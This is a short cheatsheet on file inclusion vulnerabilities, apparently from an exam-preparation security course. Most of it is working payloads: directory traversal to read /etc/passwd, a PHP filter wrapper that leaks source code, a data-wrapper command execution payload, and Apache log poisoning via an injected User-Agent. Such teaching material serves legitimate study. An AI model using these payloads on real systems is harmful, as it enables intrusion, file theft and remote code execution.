File Inclusion
Web
Overview
Local and Remote File Inclusion vulnerabilities.
2
Exercises
2
Flashcards
1
Mind Maps
Cheatsheet
LFI
/page?file=../../../../etc/passwd # Basic directory traversal /page?file=....//....//etc/passwd # Bypass traversal filters
Wrappers
php://filter/convert.base64-encode/resource=index.php # Read source code via base64 filter data://text/plain,<?php system($_GET['cmd']);?> # RCE via data wrapper
Log Poisoning
# Poison Apache log curl -H "User-Agent: <?php system($_GET['cmd']);?>" URL # Inject PHP into User-Agent # Include log /page?file=/var/log/apache2/access.log&cmd=id # Include poisoned log file
Command Examples
Common Pitfalls
- Path not deep enough
- Null byte not working (PHP 5.3+)
Exam Survival Tips
- Try multiple wrappers
- Check for log files